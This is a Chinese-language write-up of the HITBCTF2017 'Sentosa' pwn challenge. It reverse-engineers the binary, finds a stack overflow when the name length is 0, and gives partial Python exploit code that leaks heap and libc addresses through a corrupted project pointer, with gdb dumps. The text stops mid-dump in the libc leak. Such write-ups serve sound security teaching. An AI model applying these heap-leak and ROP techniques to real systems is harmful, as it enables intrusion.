6.1.18 pwn HITBCTF2017 Sentosa
题目复现
$ file sentosa
sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
$ checksec -f sentosa
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 3 sentosa
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
保护全开,默认开启 ASLR。
在 Ubuntu-16.04 上玩一下:
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 10
Input your project name: AAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
2
Project: AAAA
Price: 10
Area: 10
Capacity: 10
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
3
Not implemented yet
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
4
Input your projects number: 0
可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。
现在我们给 length 输入 0 试试看:
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 0
Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
*** stack smashing detected ***: ./sentosa terminated
[2] 5673 abort (core dumped) ./sentosa
造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。
题目解析
下面我们依次来逆向这些函数。
Start a project
[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0
/ (fcn) sub.There_are_too_much_projects_ca0 482
| sub.There_are_too_much_projects_ca0 ();
| ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
| ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
| 0x00000ca0 push r13
| 0x00000ca2 push r12
| 0x00000ca4 push rbp
| 0x00000ca5 push rbx
| 0x00000ca6 xor ebx, ebx ; ebx 作为序号 i,初始化为 0
| 0x00000ca8 sub rsp, 0x88 ; buffer[0x88]
| 0x00000caf mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000cb8 mov qword [rsp + 0x78], rax
| 0x00000cbd xor eax, eax
| 0x00000cbf cmp dword [0x002020c0], 0x10 ; [0x002020c0] 存储当前数量 proj_num
| 0x00000cc6 lea rax, [0x00202040] ; 取出数组 projects
| ,=< 0x00000ccd jg 0xe80 ; proj_num 大于 0x10 时跳转
| | 0x00000cd3 nop dword [rax + rax]
| | ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0)
| .--> 0x00000cd8 cmp qword [rax + rbx*8], 0 ; projects[i] 与 0 比较
| :| 0x00000cdd movsxd rbp, ebx
| ,===< 0x00000ce0 je 0xd10 ; projects[i] 为 0 时跳转
| |:| 0x00000ce2 add rbx, 1 ; 否则 i = i+1
| |:| 0x00000ce6 cmp rbx, 0x10
| |`==< 0x00000cea jne 0xcd8 ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i])
| | | 0x00000cec lea rsi, str.Error. ; 0x135b ; "Error." ; 否则打印出 Error
| | | 0x00000cf3 mov edi, 1
| | | 0x00000cf8 xor eax, eax
| | | 0x00000cfa call sym.imp.__printf_chk
| | | 0x00000cff xor edi, edi
| | | 0x00000d01 call sym.imp.exit ; void exit(int status)
| | 0x00000d06 nop word cs:[rax + rax]
| | | ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0)
| `---> 0x00000d10 lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: "
| | 0x00000d17 mov edi, 1
| | 0x00000d1c xor eax, eax
| | 0x00000d1e call sym.imp.__printf_chk
| | 0x00000d23 lea rsi, [rsp + 0xc]
| | 0x00000d28 lea rdi, [0x00001309] ; "%d"
| | 0x00000d2f xor eax, eax
| | 0x00000d31 call sym.imp.__isoc99_scanf
| | 0x00000d36 movsxd rax, dword [rsp + 0xc] ; rax = length
| | 0x00000d3b cmp eax, 0x59 ; 'Y'
| ,==< 0x00000d3e ja 0xe70 ; 表示 length 不能大于 0x59
| || 0x00000d44 lea rdi, [rax + 0x15]
| || 0x00000d48 lea r13, [rsp + 0x10] ; r13 = rsp + 0x10
| || 0x00000d4d call sym.imp.malloc ; malloc(length+0x15) 分配 project
| || 0x00000d52 mov edx, dword [rsp + 0xc] ; 取出 length 到 edx
| || 0x00000d56 mov qword [rsp + 0x6a], rax ; 将 project 地址放到 [rsp + 0x6a]
| || 0x00000d5b mov ecx, 0xb
| || 0x00000d60 mov rdi, r13 ; rdi = rsp+0x10
| || 0x00000d63 lea rsi, str.Input_your_project_name: ; 0x12d4 ; "Input your project name: "
| || 0x00000d6a lea r12, [rax + rdx + 5] ; r12 = &project[length+5]
| || 0x00000d6f mov dword [rax], edx ; project->length = length
| || 0x00000d71 xor eax, eax ; eax = 0
| || 0x00000d73 rep stosq qword [rdi], rax ; 清空 buffer
| || 0x00000d76 xor edx, edx ; edx = 0
| || 0x00000d78 mov word [rdi], dx ; [rsp+0x10] = 0
| || 0x00000d7b mov edi, 1
| || 0x00000d80 call sym.imp.__printf_chk
| || 0x00000d85 mov esi, dword [rsp + 0xc] ; [0xc:4]=0
| || 0x00000d89 mov rdi, r13
| || 0x00000d8c call sub.read_bf0 ; 调用函数 read_bf0(rsp+0x10, length) 读入 name
| || 0x00000d91 mov rax, qword [rsp + 0x6a] ; rax 存放 project
| || 0x00000d96 movsxd rdx, dword [rsp + 0xc] ; [0xc:4]=0
| || 0x00000d9b mov rsi, r13
| || 0x00000d9e lea rdi, [rax + 4]
| || 0x00000da2 call sym.imp.strncpy ; strncpy(project+4, name, length),即将 name 复制到 project->name
| || 0x00000da7 lea rsi, str.Input_your_project_price: ; 0x12ee ; "Input your project price: "
| || 0x00000dae mov edi, 1
| || 0x00000db3 mov dword [r12], 1 ; project[length+5] = 1,即 project->check
| || 0x00000dbb xor eax, eax
| || 0x00000dbd call sym.imp.__printf_chk
| || 0x00000dc2 lea rsi, [r12 + 4] ; rsi = project[length+5 + 4],即 project->price
| || 0x00000dc7 lea rdi, [0x00001309] ; "%d"
| || 0x00000dce xor eax, eax
| || 0x00000dd0 call sym.imp.__isoc99_scanf
| || 0x00000dd5 lea rsi, str.Input_your_project_area: ; 0x130c ; "Input your project area: "
| || 0x00000ddc mov edi, 1
| || 0x00000de1 xor eax, eax
| || 0x00000de3 call sym.imp.__printf_chk
| || 0x00000de8 lea rsi, [r12 + 8] ; rsi = project[length+5 + 8],即 project->area
| || 0x00000ded lea rdi, [0x00001309] ; "%d"
| || 0x00000df4 xor eax, eax
| || 0x00000df6 call sym.imp.__isoc99_scanf
| || 0x00000dfb lea rsi, str.Input_your_project_capacity: ; 0x1326 ; "Input your project capacity: "
| || 0x00000e02 mov edi, 1
| || 0x00000e07 xor eax, eax
| || 0x00000e09 call sym.imp.__printf_chk
| || 0x00000e0e lea rsi, [r12 + 0xc] ; rsi = project[length+5 + 12],即 project->capacity
| || 0x00000e13 lea rdi, [0x00001309] ; "%d"
| || 0x00000e1a xor eax, eax
| || 0x00000e1c call sym.imp.__isoc99_scanf
| || 0x00000e21 mov rdx, qword [rsp + 0x6a] ; 取出 project
| || 0x00000e26 lea rax, [0x00202040]
| || 0x00000e2d lea rsi, str.Your_project_is_No._d ; 0x1344 ; "Your project is No.%d\n"
| || 0x00000e34 mov edi, 1
| || 0x00000e39 mov qword [rax + rbp*8], rdx ; projects[i] = project,放到数组中
| || 0x00000e3d mov edx, ebx
| || 0x00000e3f xor eax, eax
| || 0x00000e41 call sym.imp.__printf_chk
| || 0x00000e46 add dword [0x002020c0], 1 ; proj_num 加 1
| || ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0)
| || ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0)
| ..---> 0x00000e4d mov rax, qword [rsp + 0x78] ; [0x78:8]=0x400000003 ; 'x'
| ::|| 0x00000e52 xor rax, qword fs:[0x28]
| ,=====< 0x00000e5b jne 0xe8e
| |::|| 0x00000e5d add rsp, 0x88
| |::|| 0x00000e64 pop rbx
| |::|| 0x00000e65 pop rbp
| |::|| 0x00000e66 pop r12
| |::|| 0x00000e68 pop r13
| |::|| 0x00000e6a ret
|::|| 0x00000e6b nop dword [rax + rax]
| |::|| ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0)
| |::`--> 0x00000e70 lea rdi, str.Invalid_name_length ; 0x12bf ; "Invalid name length!"
| |:: | 0x00000e77 call sym.imp.puts ; int puts(const char *s)
| |`====< 0x00000e7c jmp 0xe4d
| : | 0x00000e7e nop
| | : | ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0)
| | : `-> 0x00000e80 lea rdi, str.There_are_too_much_projects ; 0x12a2 ; "There are too much projects!"
| | : 0x00000e87 call sym.imp.puts ; int puts(const char *s)
| | `===< 0x00000e8c jmp 0xe4d
| | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
\ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
通过上面的分析可以得到 project 结构体和 projects 数组:
struct project {
int length;
char name[length];
int check;
int price;
int area;
int capacity;
} project;
struct project *projects[0x10];
projects 位于 0x00202040
,proj_num 位于 0x002020c0
。
用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 read_buf0()
读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。
程序自己实现的 read_bf0()
函数如下:
[0x00000a30]> pdf @ sub.read_bf0
/ (fcn) sub.read_bf0 148
| sub.read_bf0 ();
| ; var int local_0h @ rbp-0x0
| ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0)
| 0x00000bf0 push r14
| 0x00000bf2 push r13
| 0x00000bf4 push r12
| 0x00000bf6 push rbp
| 0x00000bf7 mov r12, rdi ; r12 存储 buffer 地址
| 0x00000bfa push rbx
| 0x00000bfb sub rsp, 0x10
| 0x00000bff mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000c08 mov qword [rsp + 8], rax
| 0x00000c0d xor eax, eax
| 0x00000c0f sub esi, 1 ; length 减 1
| ,=< 0x00000c12 je 0xc8a ; length 等于 0 时跳转
| | 0x00000c14 mov r13d, esi ; 否则继续
| | 0x00000c17 mov rbp, rdi ; rbp 存储 buffer 地址
| | 0x00000c1a xor ebx, ebx ; 循环计算 i,初始化为 0
| | 0x00000c1c lea r14, [rsp + 7] ; 读入字符到 [rsp+7]
| ,==< 0x00000c21 jmp 0xc37
|| 0x00000c23 nop dword [rax + rax]
| || ; JMP XREF from 0x00000c4f (sub.read_bf0)
| .---> 0x00000c28 add ebx, 1 ; i = i + 1
| :|| 0x00000c2b mov byte [rbp], al ; 将字符放到 [rbp]
| :|| 0x00000c2e add rbp, 1 ; rbp = rbp + 1
| :|| 0x00000c32 cmp ebx, r13d
| ,====< 0x00000c35 je 0xc80 ; i 等于 length 时跳转
| |:|| ; JMP XREF from 0x00000c21 (sub.read_bf0)
| |:`--> 0x00000c37 xor edi, edi ; i 不等于 length 时循环继续
| |: | 0x00000c39 xor eax, eax
| |: | 0x00000c3b mov edx, 1
| |: | 0x00000c40 mov rsi, r14
| |: | 0x00000c43 call sym.imp.read ; read(0, rsp+7, 1) 每次读入一个字节
| |: | 0x00000c48 movzx eax, byte [rsp + 7] ; [0x7:1]=0
| |: | 0x00000c4d cmp al, 0xa ; 判断是否为 '\n'
| |`===< 0x00000c4f jne 0xc28 ; 不是 '\n' 时循环继续
| | | 0x00000c51 movsxd rbx, ebx ; 否则 rbx = i
| | | 0x00000c54 mov byte [r12 + rbx], 0 ; buffer[i] = 0,即末尾加 '\x00'
| | | ; JMP XREF from 0x00000c88 (sub.read_bf0)
| | .--> 0x00000c59 mov rax, qword [rsp + 8] ; [0x8:8]=0
| | :| 0x00000c5e xor rax, qword fs:[0x28]
| |,===< 0x00000c67 jne 0xc8e
| ||:| 0x00000c69 add rsp, 0x10
| ||:| 0x00000c6d pop rbx
| ||:| 0x00000c6e pop rbp
| ||:| 0x00000c6f pop r12
| ||:| 0x00000c71 pop r13
| ||:| 0x00000c73 pop r14
| ||:| 0x00000c75 ret
||:| 0x00000c76 nop word cs:[rax + rax]
| ||:| ; JMP XREF from 0x00000c35 (sub.read_bf0)
| `----> 0x00000c80 movsxd rbx, ebx
| |:| ; JMP XREF from 0x00000c8c (sub.read_bf0)
| .----> 0x00000c83 mov byte [r12 + rbx], 0
| :|`==< 0x00000c88 jmp 0xc59
| :| | ; JMP XREF from 0x00000c12 (sub.read_bf0)
| :| `-> 0x00000c8a xor ebx, ebx
| `====< 0x00000c8c jmp 0xc83
| | ; JMP XREF from 0x00000c67 (sub.read_bf0)
\ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以\n
结尾),造成缓冲区溢出。
字符串末尾会被加上 \x00
,且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 rsp + 0x6a
的位置。
View all projects
[0x00000a30]> pdf @ sub.Project:__s_ea0
/ (fcn) sub.Project:__s_ea0 191
| sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
| ; arg int arg_4h @ rbp+0x4
| ; arg int arg_8h @ rbp+0x8
| ; arg int arg_ch @ rbp+0xc
| ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130)
| 0x00000ea0 push r12
| 0x00000ea2 push rbp
| 0x00000ea3 lea r12, [0x002020c0] ; 取出 &proj_num
| 0x00000eaa push rbx
| 0x00000eab lea rbx, [0x00202040] ; 取出 &projects
| 0x00000eb2 sub rsp, 0x10
| 0x00000eb6 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000ebf mov qword [rsp + 8], rax
| 0x00000ec4 xor eax, eax
| 0x00000ec6 nop word cs:[rax + rax]
| ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0)
| .-> 0x00000ed0 mov rdx, qword [rbx] ; 取出此时开头的 project
| : 0x00000ed3 test rdx, rdx
| ,==< 0x00000ed6 je 0xf38 ; 该 project 为 0 时跳转
| |: 0x00000ed8 mov eax, dword [rdx]
| |: 0x00000eda lea rsi, str.Project:__s ; 0x1362 ; "Project: %s\n"
| |: 0x00000ee1 mov edi, 1
| |: 0x00000ee6 lea rbp, [rdx + rax + 5] ; rbp = project->check
| |: 0x00000eeb add rdx, 4 ; rdx = project->name
| |: 0x00000eef xor eax, eax
| |: 0x00000ef1 call sym.imp.__printf_chk ; 打印出 project->name
| |: 0x00000ef6 mov edx, dword [arg_4h] ; rdx = project->price
| |: 0x00000ef9 lea rsi, str.Price:__d ; 0x136f ; "Price: %d\n"
| |: 0x00000f00 mov edi, 1
| |: 0x00000f05 xor eax, eax
| |: 0x00000f07 call sym.imp.__printf_chk ; 打印出 project->price
| |: 0x00000f0c mov edx, dword [arg_8h] ; rdx = project->area
| |: 0x00000f0f lea rsi, str.Area:__d ; 0x137a ; "Area: %d\n"
| |: 0x00000f16 mov edi, 1
| |: 0x00000f1b xor eax, eax
| |: 0x00000f1d call sym.imp.__printf_chk ; 打印出 project->area
| |: 0x00000f22 mov edx, dword [arg_ch] ; rdx = project->capacity
| |: 0x00000f25 lea rsi, str.Capacity:__d ; 0x1384 ; "Capacity: %d\n"
| |: 0x00000f2c mov edi, 1
| |: 0x00000f31 xor eax, eax
| |: 0x00000f33 call sym.imp.__printf_chk ; 打印出 project->capacity
| |: ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0)
| `--> 0x00000f38 add rbx, 8 ; rbx += 8,即 projects 向后移一个
| : 0x00000f3c cmp rbx, r12
| `=< 0x00000f3f jne 0xed0 ; &projects 不等于 &proj_num 时循环继续
| 0x00000f41 mov rax, qword [rsp + 8] ; [0x8:8]=0
| 0x00000f46 xor rax, qword fs:[0x28]
| ,=< 0x00000f4f jne 0xf5a
| | 0x00000f51 add rsp, 0x10
| | 0x00000f55 pop rbx
| | 0x00000f56 pop rbp
| | 0x00000f57 pop r12
| | 0x00000f59 ret
| | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
\ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
该函数用于打印出所有存在的 project 的信息。
Cancel a project
[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60
/ (fcn) sub.There_are_no_project_to_cancel_f60 207
| sub.There_are_no_project_to_cancel_f60 ();
| ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98)
| 0x00000f60 push rbx
| 0x00000f61 sub rsp, 0x10
| 0x00000f65 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
| 0x00000f6e mov qword [rsp + 8], rax
| 0x00000f73 xor eax, eax
| 0x00000f75 mov eax, dword [0x002020c0] ; 取出 proj_num
| 0x00000f7b test eax, eax
| ,=< 0x00000f7d jle 0x1010 ; proj_num 小于等于 0 时跳转
| | 0x00000f83 lea rsi, str.Input_your_projects_number: ; 0x1392 ; "Input your projects number: "
| | 0x00000f8a mov edi, 1
| | 0x00000f8f xor eax, eax
| | 0x00000f91 call sym.imp.__printf_chk
| | 0x00000f96 lea rsi, [rsp + 4]
| | 0x00000f9b lea rdi, [0x00001309] ; "%d"
| | 0x00000fa2 xor eax, eax
| | 0x00000fa4 call sym.imp.__isoc99_scanf ; 读入 i 到 rsp+4
| | 0x00000fa9 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
| | 0x00000fae cmp eax, 0xf
| ,==< 0x00000fb1 ja 0x1000 ; i 大于 0xf 时函数返回
| || 0x00000fb3 lea rbx, [0x00202040] ; 取出 &projects
| || 0x00000fba mov rdi, qword [rbx + rax*8] ; 取出 projects[i]
| || 0x00000fbe test rdi, rdi
| ,===< 0x00000fc1 je 0x1000 ; projects[i] 为 0 时函数返回
| ||| 0x00000fc3 mov eax, dword [rdi]
| ||| 0x00000fc5 cmp dword [rdi + rax + 5], 1 ; 检查 projects[i]->check 是否为 1
| ,====< 0x00000fca jne 0x1023 ; 不为 1 时程序结束
| |||| 0x00000fcc call sym.imp.free ; free(projects[i]) 释放 project
| |||| 0x00000fd1 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
| |||| 0x00000fd6 sub dword [0x002020c0], 1 ; proj_num 减 1
| |||| 0x00000fdd mov qword [rbx + rax*8], 0 ; projects[i] = 0 将其置 0
| |||| ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60)
| |||| ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60)
| ..-----> 0x00000fe5 mov rax, qword [rsp + 8] ; [0x8:8]=0
| ::|||| 0x00000fea xor rax, qword fs:[0x28]
| ,=======< 0x00000ff3 jne 0x101e
| |::|||| 0x00000ff5 add rsp, 0x10
| |::|||| 0x00000ff9 pop rbx
| |::|||| 0x00000ffa ret
|::|||| 0x00000ffb nop dword [rax + rax]
| |::|||| ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60)
| |::|||| ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60)
| |::|``--> 0x00001000 lea rdi, str.Invalid_number ; 0x13af ; "Invalid number!"
| |::| | 0x00001007 call sym.imp.puts ; int puts(const char *s)
| |`======< 0x0000100c jmp 0xfe5
| :| | 0x0000100e nop
| | :| | ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60)
| | :| `-> 0x00001010 lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!"
| | :| 0x00001017 call sym.imp.puts ; int puts(const char *s)
| | `=====< 0x0000101c jmp 0xfe5
| | | ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60)
| `-------> 0x0000101e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60)
| `----> 0x00001023 lea rdi, str.Corrupted_project ; 0x13bf ; "Corrupted project!"
| 0x0000102a call sym.imp.puts ; int puts(const char *s)
| 0x0000102f xor edi, edi
\ 0x00001031 call sym.imp.exit ; void exit(int status)
该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。
漏洞利用
总结一下,就是在 read_bf0()
函数中存在一个栈溢出漏洞。
我们来看一下 read_bf0()
函数中的内存布局,假设分配一个这样的 project:
start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
gdb-peda$ x/22gx $rsp
0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0
0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name
0x7fffffffec90: 0x4141414141414141 0x4141414141414141
0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
0x7fffffffecc0: 0x4141414141414141 0x0000414141414141
0x7fffffffecd0: 0x0000000000000000 0x5555557570100000 <-- project address
0x7fffffffece0: 0x0000000000000000 0x38a9eb4968c1da00 <-- canary
0x7fffffffecf0: 0x000055555555529a 0x00005555555553f8
0x7fffffffed00: 0x00007fffffffed24 0x0000555555554a30
0x7fffffffed10: 0x00007fffffffee40 0x0000555555555117 <-- return address
gdb-peda$ x/g $rsp+0x6a
0x7fffffffecda: 0x0000555555757010 <-- project address
gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10
0x555555757000: 0x0000000000000000 0x0000000000000071 <-- project chunk
0x555555757010: 0x414141410000004f 0x4141414141414141 <-- length <-- name
0x555555757020: 0x4141414141414141 0x4141414141414141
0x555555757030: 0x4141414141414141 0x4141414141414141
0x555555757040: 0x4141414141414141 0x4141414141414141
0x555555757050: 0x4141414141414141 0x4141414141414141
0x555555757060: 0x0000000100004141 0x0000000300000002 <-- check <-- price, area
0x555555757070: 0x0000000000000004 0x0000000000020f91 <-- capacity <-- top chunk
0x555555757080: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000555555757010 0x0000000000000000 <-- projects
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 read_bf0()
会在字符串末尾加 "\x00"
,所以我们只能够将地址的低位覆盖为 "\x00"
。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。
另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。
得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 __environ
符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。
leak heap
def leak_heap():
global heap_base
start_proj(0, 'A', 1, 1, 1) # 0
start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
start_proj(0, 'A', 1, 1, 1) # 2
cancel_proj(2)
cancel_proj(0)
view_proj()
io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
log.info("libc base: 0x%x" % heap_base)
首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2:
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
gdb-peda$ x/16gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 [be freed]
0x555555757010: 0x0000555555757040 0x0000010000000100 <-- fd pointer
0x555555757020: 0x0000000000000100 0x0000000000000021 <-- chunk 1
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021 <-- chunk 2 [be freed]
0x555555757050: 0x0000000000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk
0x555555757070: 0x0000000000000000 0x0000000000000000
然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 0x55
,但我们知道这个值相对固定,所以直接加上就可以了。
leak libc
def leak_libc():
global libc_base
start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
start_proj(0x50, '\x01', 1, 1, 1) # 2
start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
cancel_proj(4)
view_proj()
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78
log.info("libc base: 0x%x" % libc_base)
由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。
首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下:
gdb-peda$ x/18gx 0x555555756040
0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects
0x555555756050: 0x00005555557570a0 0x0000555555757110
0x555555756060: 0x0000555555757090 0x000055555575708b
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000006 0x0000000000000000 <-- proj_num
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x555555757010: 0x0000015500000000 0x0000010000000100
0x555555757020: 0x0000000000000100 0x0000000000000021
0x555555757030: 0x0000010000000000 0x0000010000000100
0x555555757040: 0x0000000000000100 0x0000000000000021
0x555555757050: 0x0000010000000000 0x0000010000000100
0x555555757060: 0x0000000000000100 0x0000000000000031 <-- chunk 0
0x555555757070: 0x000000410000000f 0x0000000000000000
0x555555757080: 0x0000000100000000 0x00000000000000d1 <-- fake chunk (chunk 4)
0x555555757090: 0x0000000000000064 0x0000000000000071 <-- chunk 2
0x5555557570a0: 0x0000000100000050 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000010000000000 0x0000010000000100
0x555555757100: 0x0000000000000100 0x0000000000000071 <-- chunk 3
0x555555757110: 0x4141414100000050 0x4141414141414141
0x555555757120: 0x4141414141414141 0x4141414141414141
0x555555757130: 0x4141414141414141 0x4141414141414141
0x555555757140: 0x4141414141414141 0x4141414141414141
0x555555757150: 0x4141414141414141 0x0000000000000021 <-- fake chunk (0xd0+0x80=0x150)
0x555555757160: 0x0000010000000000 0x0000010000000100
0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk
0x555555757180: 0x0000000000000000 0x0000000000000000
释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc:
gdb-peda$ x/50gx 0x555555757010-0x10
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000015500000000 0x0000010000000100
